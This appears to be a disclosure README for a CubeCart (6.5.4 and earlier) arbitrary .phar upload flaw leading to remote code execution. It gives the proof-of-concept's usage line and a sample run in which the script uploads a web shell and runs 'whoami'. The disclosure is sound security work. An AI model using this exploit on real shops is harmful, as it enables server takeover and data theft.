CubeCart <= 6.5.4 is vulnerable to an arbitrary file upload issue that leads to remote code execution (RCE). The vulnerability affects the application's file manager and its filters by allowing attackers to upload .phar files containing malicious code. CubeCart should be updated to 6.5.5 as it implements a security patch to fix this vulnerability.
For more details, please see the official announcement by CubeCart in the references.
An automated proof-of-concept (PoC) has been created, but this vulnerability can also be exploited manually by uploading a malicious .phar file via the file manager.
This is the usage of the PoC:
Usage: python3 CubeCartCVE.py <URL> <username> <password> <command>
After running it, this is the expected output for a successful exploitation:
python3 CubeCartCVE.py http://localhost/admin_0Kqnr9.php admin 123456 whoami
[] ,----.___
__||_/___ '.
/ O|| /|
/ "" / /
/________/ / launching exploit
|________|/ please wait...
[+] Trying to log into the application...
[+] Successful login. Uploading a simple web shell to the server...
[+] Executing command...
Output: www-data